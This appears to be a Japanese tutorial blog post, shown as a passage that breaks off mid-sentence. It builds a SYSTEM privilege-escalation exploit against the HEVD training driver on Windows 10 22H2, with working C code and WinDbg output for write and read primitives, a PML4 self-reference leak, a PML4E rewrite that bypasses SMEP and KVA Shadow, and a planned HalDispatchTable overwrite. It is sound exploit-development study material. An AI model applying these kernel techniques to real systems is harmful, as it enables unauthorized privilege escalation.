
はじめに
数年前から、OffSec社の「EXP-401: Advanced Windows Exploitation」を受講するのが個人的な目標になっています。その予習として最近Kernel Exploitの勉強をしているのですが、せっかくなら何かアウトプットを残しておこうと思い、この記事を書きました。
この記事ではHackSys Extreme Vulnerable Driver (HEVD)という「やられドライバ」を題材にしています。HEVDはセキュリティ教育目的で作られた、意図的に多数の脆弱性が埋め込まれているドライバで、Kernel Exploitの入門教材としてよく使われています。この記事では、その脆弱性のうちの一つを使って、Windows 10最新版(22H2)でSYSTEM権限へ特権昇格するExploitを作っていきます。
この記事に書いてあること
Exploitの概要
- 任意メモリ上書きの脆弱性を起点としたWrite/Read Primitiveの構築
- Windows 10最新版(22H2)における各種セキュリティ機構(SMEP、KVA Shadow、PML4 Self-Reference Entry Randomization)のバイパス
- Token Stealシェルコードを実行し、SYSTEM権限への特権昇格を達成
目次
HackSys Extreme Vulnerable Driver (HEVD)
改めてHEVDについて軽く紹介しておきます。HEVDは、セキュリティ教育目的で作られた「やられWindowsデバイスドライバ」です。意図的に多数の脆弱性が埋め込まれており、Kernel Exploitの練習台として使えるようになっています。
github.com
Kernel ExploitはBinary Exploitの中でも特に取っつきづらい分野という印象がありますが、HEVDはインストールが簡単で、参考になるExploitもすでに世の中に多数あります。お手軽に学習を始められる教材です。
HEVDには色々なタイプの脆弱性が実装されています。今回は、その中から任意メモリ上書きの脆弱性をターゲットに選びました。
1. Arbitrary Overwrite
HEVDには、シンプルな任意メモリ上書き(Arbitrary Overwrite)の脆弱性が仕込まれています。
該当のソースコードは以下の通りです。
DbgPrint("[+] Triggering Arbitrary Write\n");
*(Where) = *(What);
HackSysExtremeVulnerableDriver/Driver/HEVD/Windows/ArbitraryWrite.c at b02b6ea3ce4b53652348ac8fa5cc7e96b4e6c999 · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
What と Where はどちらもユーザモードからコントロール可能な値です(いわゆるWrite-what-where状態)。さらに、これらがカーネル空間のアドレスを指しているかどうかも検証されていません。そのため攻撃者は、この脆弱性を悪用してカーネル空間の任意のアドレスに任意の値を書き込めます。
脆弱性を発火させてみる
以下は、この脆弱性を利用して任意メモリ上書きを行う関数 ArbitraryWrite のC言語による実装です。
#define HEVD_IOCTL_ARBITRARY_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
BOOL ArbitraryWrite(HANDLE hHevd, PVOID where, PVOID what)
{
printf("[!] Writing: *(%p) = *(%p)\n", where, what);
PWRITE_WHAT_WHERE payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
payload->What = (PULONG_PTR)what;
payload->Where = (PULONG_PTR)where;
DWORD lpBytesReturned;
return DeviceIoControl(
hHevd,
HEVD_IOCTL_ARBITRARY_WRITE,
payload,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpBytesReturned,
NULL
);
}
例えば、ArbitraryWrite を使って次のような処理を書けば、ドライバに任意のアドレスを書き換えさせられます。
const char hello[] = "Hello, world!";
const char aaaaa[] = "AAAAAAAAAAAAA";
ArbitraryWrite(hHevd, hello, aaaaa)
printf("hello: %s\n", hello);
[!] Writing: *(000000CAFC0FFBF8) = *(000000CAFC0FFC18)
hello: AAAAAAAAorld!
hello[] が aaaaa[] の値で上書きされています。
ドライバはカーネルモードで動作するので、Where にカーネル空間のアドレスを指定すれば、攻撃者はカーネル空間のデータも同様に改ざんできます。
2. Arbitrary Read
この脆弱性は、任意メモリ上書き(Arbitrary Overwrite)であると同時に、任意メモリ読み取り(Arbitrary Read)の脆弱性でもあります。
先ほどとは逆に、What にカーネル空間のアドレスを、Where にユーザ空間のアドレスを設定してみます。すると、カーネル空間のデータがユーザ空間に書き込まれることになります。これを利用すれば、Where に書き込まれたデータから、カーネル空間のデータをリークさせられます。
以下は、ArbitraryWrite を利用して任意メモリ読み取りを行う関数 ArbitraryRead の実装です。
PVOID ArbitraryRead(HANDLE hHevd, PVOID addr)
{
PVOID readBuf;
ArbitraryWrite(hHevd, &readBuf, addr);
return readBuf;
}
指定したアドレスのデータを読み出し、その値を戻り値として返す関数です。この関数を用いることで、カーネル空間のデータをユーザモードに漏洩させることができます。
記事の後半「Exploit Development」では、ここで作った2つの関数 ArbitraryWrite, ArbitraryRead を駆使し、カーネルモードでのシェルコード実行を目指します。
その前に、次のセクションでは、Exploit開発の障壁となるWindowsのセキュリティ機構について整理しておきます。
セキュリティ機構
今回Exploitの対象とするのは、Windows 10の最新バージョン(22H2)です。具体的な環境は以下の通りです。
OSバージョン
- Windows 10 22H2 (Build 19045.3930)
OS設定
- KVA Shadow: Enabled
- VBS/HVCI: Disabled
プロセス設定
KVA Shadowの設定確認
KVA Shadowは、Meltdownに脆弱なCPUであればデフォルトで有効になっています。現在の設定は、SpecuCheckというツールで確認できます。以下は、有効になっている場合の実行結果です。
> SpecuCheck.exe
SpecuCheck v1.1.1 -- Copyright(c) 2018 Alex Ionescu
https://ionescu007.github.io/SpecuCheck/ -- @aionescu
--------------------------------------------------------
Mitigations for CVE-2017-5754 [rogue data cache load]
--------------------------------------------------------
[-] Kernel VA Shadowing Enabled: yes
├───> Unnecessary due lack of CPU vulnerability: no
├───> With User Pages Marked Global: no
├───> With PCID Support: yes
└───> With PCID Flushing Optimization (INVPCID): yes
...
VBS/HVCIの設定確認
VBS/HVCIは、Windows 10ではデフォルトで無効です。設定はSystem Informationツールを起動し、System Summaryの項目から確認できます。以下は無効の場合の表示です。
Virtualization-based security: Not enabled
VBS/HVCIが有効だと、Kernel Exploit開発の難易度は一気に跳ね上がります。今回作成するExploitも、VBS/HVCIが有効な環境では動作しません。
(ちなみに、Windows 11ではVBS/HVCIがデフォルトで有効になっています。そのため、Windows 11でKernel Exploitを成功させるには、追加でいくつかのセキュリティ機構をバイパスする必要があります。)
Integrity Level
Integrity Level: Medium は、Windows上のほとんどのプロセスに設定されている、最も基本的なIntegrityレベルです。
MediumであればWin32 APIを叩いてカーネルのベースアドレスが取得できる(KASLRバイパスが不要になる)など、一部Exploitの難易度が低くて済みます。逆に、Lowだと呼び出せるAPIの制限が厳しくなり、KASLRバイパスのための脆弱性も必要になるなどExploitの難易度が上がります。
ここからは、これらの設定のもとでExploitを成功させるために、バイパスが必要なセキュリティ機構を順に見ていきます。
1. SMEP (Supervisor Mode Execution Prevention)
SMEPは、Windows 8で導入されたセキュリティ機構で、カーネルモード(Supervisor Mode)でのユーザモードコードの実行を防止します。
SMEP以前は、制御フローさえ奪えば、後はユーザモードコードをカーネルに実行させるだけで容易に任意コード実行が可能でした。
SMEPのメカニズム
SMEPはCPUの機能を利用して実装されています。この機能は、CPUでSMEPが有効(CR4レジスタの20番目のビットが1)になっているときに、ユーザモードコード(ページテーブルエントリの2番目のビットが1)の実行を禁止します。
以下は、WinDbgでカーネルモードのCR4レジスタの値を出力した結果です。
0: kd> .formats cr4
Evaluate expression:
Hex: 00000000`00370e78
Decimal: 3608184
Decimal (unsigned) : 3608184
Octal: 0000000000000015607170
Binary: 00000000 00000000 00000000 00000000 00000000 00110111 00001110 01111000
Chars: .....7.x
Time: Thu Feb 12 03:16:24 1970
Float: low 5.05614e-039 high 0
Double: 1.78268e-317
CR4の20番目のビットには1がセットされており、SMEPが有効になっています。(CPUのビットは「0番目」から数える慣習があるらしく、1番目から数えると1つずれます。自分は最初混乱しました。)
次は、ページテーブルエントリの値を出力した結果です。
1: kd> !pte rip
VA fffff8040a105f1a
PXE at FFFFFDFEFF7FBF80 PPE at FFFFFDFEFF7F0080 PDE at FFFFFDFEFE010280 PTE at FFFFFDFC02050828
contains 0000000004909063 contains 000000000490A063 contains 0A000000065A2863 contains 0000000238F4D821
pfn 4909 ---DA--KWEV pfn 490a ---DA--KWEV pfn 65a2 ---DA--KWEV pfn 238f4d ----A--KREV
実行中のページテーブルエントリはカーネルモードコードとして確保されています。(WinDbgがパースしてくれており、Kと表記されています。)
上記のように、Windowsがカーネルモードで動作している際はSMEPが有効に設定され、カーネルによって確保されたコードはカーネルモードに設定されています。
一方、通常のプロセスが確保したコードはユーザモード(U)に設定されています。SMEPが有効な状態でそれらのユーザーモードコードを実行した場合、CPUはPage Faultを発生させて即座にBSOD(クラッシュ)を引き起こします。
この仕組みにより、カーネルにユーザモードコードを実行させる攻撃を防ぐことができます。
一般的なSMEPのバイパス
SMEPのバイパスには以下のように複数の方法が考えられます。
- ユーザモードコードを実行する前にCR4レジスタの値を改ざんしてSMEPを無効化する
- カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
- ユーザモードコードのページテーブルエントリを改ざんし、カーネルモードコードに変更する
2. KASLR (Kernel Address Space Layout Randomization)
KASLRは、Windows 8.1で導入されたカーネルのアドレス空間配置のランダマイズ機能です。
攻撃者によるカーネル空間のアドレス推測を困難にする効果があります。ユーザ空間におけるASLRのカーネル空間版ですね。
KASLRのメカニズム
KASLRが有効になっている場合、OSの起動時にカーネルのベースアドレスがランダムに配置されます。
WinDbgで確認すると、再起動するたびにカーネルのベースアドレスが変化していることが分かります。
1: kd> ? nt
Evaluate expression: -8795109457920 = fffff800`3aa00000
0: kd> ? nt
Evaluate expression: -8785399644160 = fffff802`7d600000
一般的なKASLRのバイパス手法
Integrity Level: Mediumの環境下では、EnumDeviceDrivers や NtQuerySystemInformationなどのAPIを使用してカーネルのベースアドレスを取得することが可能です。Windowsにおいては、KASLRはIntegrity Level: Medium以上のプロセスに対するセキュリティ機構としてはあまり効果がないものとなってます。
3. PML4 Self-Reference Entry Randomization
PML4 Self-Reference Entry Randomizationは、Windows 10のバージョン1607で導入されたKASLR強化パッチのようなものです。
この機能が追加される以前は、PML4 Self-Reference Entryが固定値であったため、KASLRが有効になっている場合でも、ページテーブルエントリへアクセスするための仮想アドレスに関しては推測することができました。
PML4 Self-Reference Entry Randomizationのメカニズム
PML4 Self-Reference Entry Randomizationは、OSの起動時にPML4 Self-Reference Entryを0x100-0x1FFの範囲でランダムに決定します。
WinDbgで確認すると、再起動するたびにページテーブルエントリの仮想アドレスが変化していることが分かります。
0: kd> !pte 0x0
VA 0000000000000000
PXE at FFFFEDF6FB7DB000 PPE at FFFFEDF6FB600000 PDE at FFFFEDF6C0000000 PTE at FFFFED8000000000
contains 8A0000004D50E867 contains 0000000000000000
pfn 4d50e ---DA--UW-V contains 0000000000000000
not valid
0: kd> !pte 0x0
VA 0000000000000000
PXE at FFFFFDFEFF7FB000 PPE at FFFFFDFEFF600000 PDE at FFFFFDFEC0000000 PTE at FFFFFD8000000000
contains 8A00000004FEE867 contains 0000000000000000
pfn 4fee ---DA--UW-V contains 0000000000000000
not valid
この機能の導入以前はPML4 Self-Reference Entryが0x1EDで固定されていたため、PML4の仮想アドレスも必ず0xFFFFF6FB7DBED000で固定されていました。
このあたりのページングの仕組みについて詳しく知りたい方はCore Securityの記事を読むのがおすすめです。
一般的なPML4 Self-Reference Entry Randomizationのバイパス手法
カーネルはメモリ管理のためにページテーブルエントリの書き換えを行う必要があり、そのためにページテーブルエントリへの仮想アドレスを取得できる仕組みになっている必要があります。Windowsでは、カーネル空間内の特定のアドレス(nt!MiGetPteAddress + 0x13)にPML4 Self-Reference Entryが保持されており、カーネルはこの値を用いることでページテーブルエントリの仮想アドレスを計算しています。
このアドレスへのオフセットは既知であるため、カーネル空間からデータをリークできる場合、値を読み出してPML4 Self-Reference Entry Randomizationをバイパスすることができます。
4. kCFG (Kernel Control Flow Guard)
kCFGは、Windows 10のバージョン1703で導入されたセキュリティ機構で、関数ポインタの書き換えによる制御フローの乗っ取りを緩和します。VBS/HVCIが有効な場合にのみ完全に機能しますが、無効化されている環境でも部分的な保護機能(Kernel-mode Address Check)が働きます。
kCFGとKernel-mode Address Checkのメカニズム
kCFGは、間接関数呼び出し時に、ジャンプ先のアドレスが信頼できるアドレスかどうかをチェックします。これにより、シェルコードへのジャンプはもちろん、ROPガジェットへのジャンプも困難になります。
ただし、VBS/HVCIが無効化されている場合、Windowsは呼び出し先のアドレスがカーネルモードアドレスかどうか(上位ビットが1か)のみをチェックします。
一般的なKernel-mode Address Checkのバイパス手法
ここではVBS/HVCIが無効化されている前提(Kernel-mode Address Checkのみ)のバイパス手法について考えます。
この場合では、関数ポインタを書き換えても直接ユーザモードコードにはジャンプはできません。そのため、カーネル空間内のコードを再利用するROPのようなテクニックと組み合わせる必要があります。
具体的には、カーネルモードコード内からユーザモードコードへジャンプするROPガジェットを見つけ、そのROPガジェット経由でユーザモードコードにジャンプするといったバイパス手法が考えられます。
5. KVA Shadow (Kernel Virtual Address Shadow)
KVA Shadowは、2018年3月にWindows 10へ実装されたMeltdown脆弱性対策です。(LinuxではKPTIとして知られています。)
本来はMeltdownを緩和するための機能ですが、SMEPと同様にカーネルモードでのユーザモードコードの実行を防止する副次的な効果があります。
KVA Shadowのメカニズム
ページングに使用されるPML4テーブルは、通常1プロセスにつき1個用意されます。しかし、KVA Shadowが有効になっている環境では「ユーザモード用のPML4テーブル」と「カーネルモード用のPML4テーブル」の2つのPML4テーブルが用意されるようになります。
これらのPML4テーブルはマップされている内容が異なっており、それぞれのモードで不必要な内容はマップされないようになっています。OSはコンテキストスイッチの際、2種類のPML4テーブルをコンテキストに合わせて切り替えることで、ユーザモードとカーネルモードのメモリ分離を強化します。
WinDbgでカーネルデバッグを行い、カーネルモードからユーザモードコードのページテーブルエントリを確認してみます。
KVA Shadowが無効な場合:
1: kd> !pte 000001e59fae0003
VA 000001e59fae0003
PXE at FFFFFDFEFF7FB018 PPE at FFFFFDFEFF603CB0 PDE at FFFFFDFEC07967E8 PTE at FFFFFD80F2CFD700
contains 0A000001B6507867 contains 0A0000020A908867 contains 0A0000020A609867 contains 00000001E2181867
pfn 1b6507 ---DA--UWEV pfn 20a908 ---DA--UWEV pfn 20a609 ---DA--UWEV pfn 1e2181 ---DA--UWEV
KVA Shadowが有効な場合:
0: kd> !pte 000001e59fae0003
VA 000001d9a5760003
PXE at FFFFFDFEFF7FB018 PPE at FFFFFDFEFF603B30 PDE at FFFFFDFEC0766958 PTE at FFFFFD80ECD2BB00
contains 8A000002295B2867 contains 0A000002293B3867 contains 0A000001F4FB4867 contains 00000001F8FF4867
pfn 2295b2 ---DA--UW-V pfn 2293b3 ---DA--UWEV pfn 1f4fb4 ---DA--UWEV pfn 1f8ff4 ---DA--UWEV
KVA Shadowが有効な場合は、PML4Eが実行不可(E→-)になっていることが確認できます。(ちなみに、Windowsの世界ではPML4EはPXEという名前で呼ばれています。)
上記の通り、KVA Shadowが有効になっている場合、カーネルモード用のPML4テーブルには、ユーザ空間のアドレス帯が実行不可としてマップされます。(逆に、ユーザモード用のPML4テーブルには、カーネル空間のアドレス帯がそもそもマップされません。)
この仕組みは、ページテーブルエントリのXD (NX) ビットを強制的に1にすることで実現されています。KVA Shadowは、SMEPと同様にカーネルモードでのユーザモードコードの実行を防ぐ働きをすることからソフトウェアSMEPと呼ばれることもあります。
一般的なKVA Shadowのバイパス手法
KVA Shadowのバイパスには以下のように複数の方法が考えられます。
- ユーザモードコードを実行する前にユーザモード用PML4テーブルに切り替わるようにCR3レジスタの値を改ざんする
- カーネル空間に実行可能な領域を確保し、カーネルモードコードとして任意のコードを書き込む
- カーネルモード用PML4テーブルのエントリを改ざんし、実行可能に変更する
Exploit Development
Exploitの開発を始める前に、まずは全体の進め方を整理しておきます。
0. ゴールと進め方
今回のゴールは、権限昇格です。具体的には、Token Stealシェルコードを実行してSYSTEM権限へ昇格させることを目指します。
そのためには、ArbitraryWrite と ArbitraryRead を駆使して、先ほど紹介したセキュリティ機構をすべてバイパスする必要があります。バイパスを3つのステップに分解して考えていきます。
ステップ1. PML4 Self-Reference Entry Randomizationのバイパス
ArbitraryRead でカーネル内のデータを読み取れるので、カーネル内に保持されているPML4 Self-Reference Entryを直接リークしてバイパスします。
ステップ2. SMEPとKVA Shadowのバイパス
ステップ1でリークしたPML4 Self-Reference Entryから、シェルコードのPML4エントリの仮想アドレスを計算できます。その仮想アドレスを指定し、ArbitraryWrite でPML4エントリを XDビット = 0 かつ U/Sビット = 0 に書き換えることでバイパスします。
ステップ3. Kernel-mode Address Checkのバイパス
カーネル内の関数ポインタを書き換えて任意のアドレスを間接関数呼び出しさせる既知テクニックと、制御可能なレジスタの値にジャンプするROPガジェットを組み合わせます。関数ポインタを当該ROPガジェットのアドレスで書き換え、レジスタにユーザモードコードのアドレスを指定することでバイパスします。
実際にはこの他にも、Token Stealシェルコードの準備、関数ポインタ呼び出しのトリガー、BSOD防止のためのカーネル状態の復元など、いくつか処理を足す必要があります。とはいえ、大枠としては上記の3ステップでゴールに到達できる見込みです。
ここからは、この方針に沿って実際のExploit開発に入っていきます。
1. PML4 Self-Reference Entry Randomizationのバイパス
ここでは、ArbitraryReadでカーネル内からPML4 Self-Reference Entryをリークすることを目指します。
MiGetPteAddressの解析
カーネルはメモリ管理のために、ページテーブルエントリの仮想アドレスを知ることができる必要があります。そのために用意されているのがMiGetPteAddressというカーネルモード用の関数です。
この関数をWinDbgでディスアセンブルすると以下のようなコードが表示されます。
0: kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff807`8206b560 48c1e909 shr rcx,9
fffff807`8206b564 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff807`8206b56e 4823c8 and rcx,rax
fffff807`8206b571 48b80000000000ecffff mov rax,0FFFFEC0000000000h
fffff807`8206b57b 4803c1 add rax,rcx
fffff807`8206b57e c3 ret
このコードは「引数として与えられた仮想アドレス」の「PTE (Page Table Entry)の仮想アドレス」を取得するものです。このコードの内の 0FFFFEC0000000000h の部分にPML4 Self-Reference Entryの値が含まれています。
ページテーブルエントリの仮想アドレスを計算
ここで、0xFFFFF0123456789Aという適当なアドレスを例にして、上記のコードをPythonでシミュレートしてみます。
In [17]: hex(((0xFFFFF0123456789A >> 9) & 0x7FFFFFFFF8) + 0xFFFFEC0000000000)
Out[17]: '0xffffec78091a2b38'
この計算前後の仮想アドレスを分解し、比較すると以下のようになります。
- オリジナル(計算前):
0xFFFFF0123456789A
1111111111111111 (0xffff) - Ignored
111100000 (0x01e0) - PML4 index
001001000 (0x0048) - PDPT index
110100010 (0x01a2) - PDT index
101100111 (0x0167) - PT index
100010011010 (0x089a) - Physical address offset
- PTE(計算後):
0xFFFFEC78091A2B38
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111100000 (0x01e0) - PDPT index
001001000 (0x0048) - PDT index
110100010 (0x01a2) - PT index
101100111000 (0x0b38) - Physical address offset
計算前後で、値がPML4 index → PDPT index、PDPT index → PDT index、PDT index → PT indexのように一段下のページ構造にシフトしています。また、計算後のPML4 indexには元の仮想アドレスには存在しない値(0x01d8)が入っています。
この値(0x01d8)がPML4 Self-Reference Entryです。
PML4 Self-Reference Entryの値を知っていれば、同じ計算を繰り返すことで、同様にPDTE、PDPTE、PML4Eの仮想アドレスも計算することができます。
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111100000 (0x01e0) - PDT index
001001000 (0x0048) - PT index
110100010000 (0x0d10) - Physical address offset
- PDPTE:
0xFFFFEC763B1E0240
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111011000 (0x01d8) - PDT index
111100000 (0x01e0) - PT index
001001000000 (0x0240) - Physical address offset
- PML4E:
0xFFFFEC763B1D8F00
1111111111111111 (0xffff) - Ignored
111011000 (0x01d8) - PML4 index
111011000 (0x01d8) - PDPT index
111011000 (0x01d8) - PDT index
111011000 (0x01d8) - PT index
111100000000 (0x0f00) - Physical address offset
PML4 Self-Reference Entryのリーク
今回はPML4Eの改ざんによるSMEPとKVA Shadowのバイパスを行います。そのため、Exploitの中でPML4 Self-Reference EntryをリークしてPML4Eの仮想アドレスを計算する必要があります。
先程のMiGetPteAddressのコードから値をリークする方法を考えます。
先程の値0FFFFEC0000000000hはMiGetPteAddressのアドレスから0x13バイトのオフセットにあります。
1: kd> dq nt!MiGetPteAddress+0x13 L1
fffff802`45c6b573 ffffec00`00000000
この位置は、カーネルのベースアドレスから0x26b573バイトのオフセットです。
1: kd> ? nt!MiGetPteAddress+0x13 - nt
Evaluate expression: 2536819 = 00000000`0026b573
このオフセットを指定し、ArbitraryReadでカーネル空間から値をリークします。
const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
printf("[*] Leaked PTE virtual address: %p\n", pteVirtualAddress);
そして、以下のコードでリークした値からPML4 Self-Reference Entryを抽出します。
unsigned int ExtractPml4Index(PVOID address)
{
return ((uintptr_t)address >> 39) & 0x1ff;
}
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);
printf("[*] Extracted PML4 Self Reference Entry index: %03x\n", pml4SelfRef_Index);
コードを実行すると、以下のようにPML4 Self Reference Entryをリークすることができます。
[!] Writing: *(000000BF51BBFC60) = *(FFFFF80560C6B573)
[*] Leaked PTE virtual address: FFFFEC0000000000
[*] Extracted PML4 Self Reference Entry index: 1D8
これで、PML4 Self-Reference Entry Randomizationをバイパスする処理をExploitに組み込むことができました。
2. SMEPとKVA Shadowのバイパス
PML4 Self Reference Entryをリークすることができたので、次はシェルコードのPML4Eを改ざんし、SMEPとKVA Shadowのバイパスを目指します。
ダミーシェルコード
ダミーの何もしないシェルコード(nop/nop/nop/int3)を実行可能なメモリ領域にコピーします。
PVOID AllocExecutableCode(PVOID rawCode, size_t size)
{
PVOID executableCode = VirtualAlloc(
NULL,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
RtlMoveMemory(executableCode, rawCode, size);
return executableCode;
}
unsigned char rawShellcode[] = {
0x90, 0x90, 0x90, 0xCC
};
PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", shellcode);
WinDbgでカーネルモードの状態で確保されたシェルコードのPML4Eを確認します。
[*] Executable shellcode: 0000024BBD5D0000
0: kd> db 0000024BBD5D0000 L4
0000024b`bd5d0000 90 90 90 cc ....
0: kd> !pte 0000024BBD5D0000
VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020 PPE at FFFFDB6DB6C04970 PDE at FFFFDB6D8092EF50 PTE at FFFFDB0125DEAE80
contains 8A00000141D01867 contains 0A0000020CC02867 contains 0A000001F612E867 contains 00000001F6952867
pfn 141d01 ---DA--UW-V pfn 20cc02 ---DA--UWEV pfn 1f612e ---DA--UWEV pfn 1f6952 ---DA--UWEV
現在、シェルコードのPML4E(仮想アドレス: 0xFFFFDB6DB6DB6020)は、KVA Shadowによって実行不可(-)に変更されています。また、ユーザモード(U)のコードであるためSMEPによっても実行不可になっています。
このシェルコードのPML4Eを実行可能(-→E)かつカーネルモード(U→K)に改ざんし、KVA ShadowとSMEPをバイパスします。
シェルコードのPML4E仮想アドレスを計算
PML4EはArbitraryWriteで改ざんが可能ですが、そのためにはまずPML4Eの仮想アドレスを知る必要があります。
PML4Eの仮想アドレスを計算するコードは以下の通りです。
PVOID CalculatePml4VirtualAddress(unsigned int pml4SelfRefIndex, unsigned int pml4Index)
{
uintptr_t address = 0xffff;
address = (address << 0x9) | pml4SelfRefIndex;
address = (address << 0x9) | pml4SelfRefIndex;
address = (address << 0x9) | pml4SelfRefIndex;
address = (address << 0x9) | pml4SelfRefIndex;
address = (address << 0xC) | pml4Index * 8;
return (PVOID)address;
}
先程リークしたPML4 Self Reference Entryの値を用いて、PML4Eの仮想アドレスを計算します。
unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
printf("[*] Extracted shellcode's PML4 index: %03x\n", pml4Shellcode_Index);
PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
printf("[*] Calculated virtual address for shellcode's PML4 entry: %p\n", pml4Shellcode_VirtualAddress);
以下の通り、WinDbgで確認したときと同じ仮想アドレス(0xFFFFDB6DB6DB6020)が求まっていることが確認できます。
[*] Extracted shellcode's PML4 index: 004
[*] Calculated virtual address for shellcode's PML4 entry: FFFFDB6DB6DB6020
シェルコードのPML4Eをリーク
上記の仮想アドレスを用いて、PML4Eの値をArbitraryReadでリークします。
uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
printf("[*] Leaked shellcode's PML4 entry: %p\n", (PVOID)originalPml4Shellcode_Entry);
[!] Writing: *(000000A56EFDF9F0) = *(FFFFDB6DB6DB6020)
[*] Leaked shellcode's PML4 entry: 8A00000141D01867
実行結果から、8A00000141D01867 という値がPML4Eとして設定されていることが分かります。
この値の意味を知りたいため、PML4Eの値をパースするPythonスクリプトを書きました。このスクリプトでシェルコードのPML4Eをパースしてみます。
以下が実行結果です。
> python parse_pml4e.py 8A00000141D01867
PML4E: 1000101000000000000000000000000101000001110100000001100001100111
Bit 0: Present - Set
Bit 1: Read/Write - Set
Bit 2: User/Supervisor - Set
Bit 3: Page-Level Write-Through - Not Set
Bit 4: Page-Level Cache Disable - Not Set
Bit 5: Accessed - Set
Bit 63: Execute Disable - Set
Physical Frame Number (PFN): 0x141d01
この結果から、2ビット目と63ビット目を0にクリアすることでカーネルモード(K)かつ実行可能(E)の状態に変更できることが分かります。
シェルコードのPML4Eを改ざん
上記の2つのビットをクリアする関数(ModifyPml4EntryForKernelMode)を実装しました。
uintptr_t ModifyPml4EntryForKernelMode(uintptr_t originalPml4Entry)
{
uintptr_t modifiedPml4Entry = originalPml4Entry;
modifiedPml4Entry &= ~((uintptr_t)1 << 2);
modifiedPml4Entry &= ~((uintptr_t)1 << 63);
return modifiedPml4Entry;
}
ModifyPml4EntryForKernelModeを用いてビットをクリアし、その値でシェルコードのPML4Eを上書きします。
uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
printf("[*] Modified shellcode's PML4 entry: %p\n", (PVOID)modifiedPml4Shellcode_Entry);
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);
printf("[*] Overwrote PML4 entry to make shellcode executable in kernel mode\n");
[*] Modified shellcode's PML4 entry: 0A00000141D01863
[!] Writing: *(FFFFDB6DB6DB6020) = *(000000A56EFDFA68)
[*] Overwrote PML4 entry to make shellcode executable in kernel mode
PML4Eの上書き後、WinDbgでシェルコードのPML4Eを確認してみます。
0: kd> !pte 0000024BBD5D0000
VA 0000024bbd5d0000
PXE at FFFFDB6DB6DB6020 PPE at FFFFDB6DB6C04970 PDE at FFFFDB6D8092EF50 PTE at FFFFDB0125DEAE80
contains 0A00000141D01863 contains 0A0000020CC02867 contains 0A000001F612E867 contains 00000001F6952867
pfn 141d01 ---DA--KWEV pfn 20cc02 ---DA--UWEV pfn 1f612e ---DA--UWEV pfn 1f6952 ---DA--UWEV
シェルコードのPML4Eが実行可能(E)かつカーネルモード(K)に変更されています。
これで、シェルコードはカーネルモードで実行可能な状態になりました。SMEPとKVA Shadowのバイパス完了です。
3. Kernel-mode Address Checkのバイパス
カーネルモードで実行可能なシェルコードを確保することに成功したので、次はどうやってRIPをシェルコードに向けるかを考えます。
HalDispatchTableの上書き
Windowsカーネル内には、HalDispatchTableという関数ポインタのテーブルが存在しています。このテーブルに含まれる関数ポインタを上書きすることで制御フローを奪うテクニックがWindows Kernel Exploitにおいては定石となっています。
HalDispatchTable+0x8には、通常はHaliQuerySystemInformationという関数へのポインタが格納されています。そして、この関数ポインタは、NtQueryIntervalProfileという関数の中で間接関数呼び出しされます。
これを利用し、HalDispatchTable+0x8を改ざんして、その状態でNtQueryIntervalProfileを実行することで、攻撃者はカーネルモードで任意のアドレスを呼び出すことができます。
ntoskrnl.exeからROPガジェットを見つける
しかし、今回はkCFGの部分的な保護機能であるKernel-mode Address Checkによって「間接関数呼び出しの先がカーネル空間のアドレス帯かどうか」がチェックされます。そのため、ユーザ空間のアドレス帯に確保されているシェルコードには、上記のテクニックで直接ジャンプさせることはできません。
一方で、カーネル内のコードであればKernel-mode Address Checkに通過します。つまり、上記のテクニックを用いて、カーネル内のROPガジェットへジャンプさせることならできます。
ここからは、一度カーネル内のROPガジェットを経由してシェルコードにジャンプする方法を考えたいと思います。
Windowsカーネルのバイナリは以下のパスに存在しています。
C:\Windows\System32\ntoskrnl.exe
このバイナリに対してrp++を実行し、ROPガジェットを抽出します。
.\rp-win.exe -f .\ntoskrnl.exe -r 5 > .\ntoskrnl.txt
結果をgrepすると、以下のようにレジスタへ直にジャンプするROPガジェットがいくつも見つかります。
0x14060daa6: jmp rax ; (1 found)
0x14045751a: jmp rsi ; (1 found)
0x14080d5db: jmp r13 ; (1 found)
RIP取得の戦略
上記のようなROPガジェットを利用することで、カーネルモードの制御フローをシェルコードに移すことができる可能性があります。
具体的な手順は以下の通りです。
- ROPガジェットのアドレスで
HalDispatchTable+0x8を上書きする
- レジスタにシェルコードのアドレスをセットする
HalDispatchTable+0x8の間接関数呼び出しを発火させる
もし、3.のROPガジェットが呼び出されるタイミングで、2.でセットしたレジスタの値がそのまま残っていれば、カーネルモードの制御フローがシェルコードに移るはずです。
制御可能なレジスタの調査
ユーザモードコードから制御可能なレジスタを特定するため、WinDbgを用いて実験をしてみます。
実験の手順は以下の通りです。
NtQueryIntervalProfileとHaliQuerySystemInformationにブレークポイントを仕掛ける
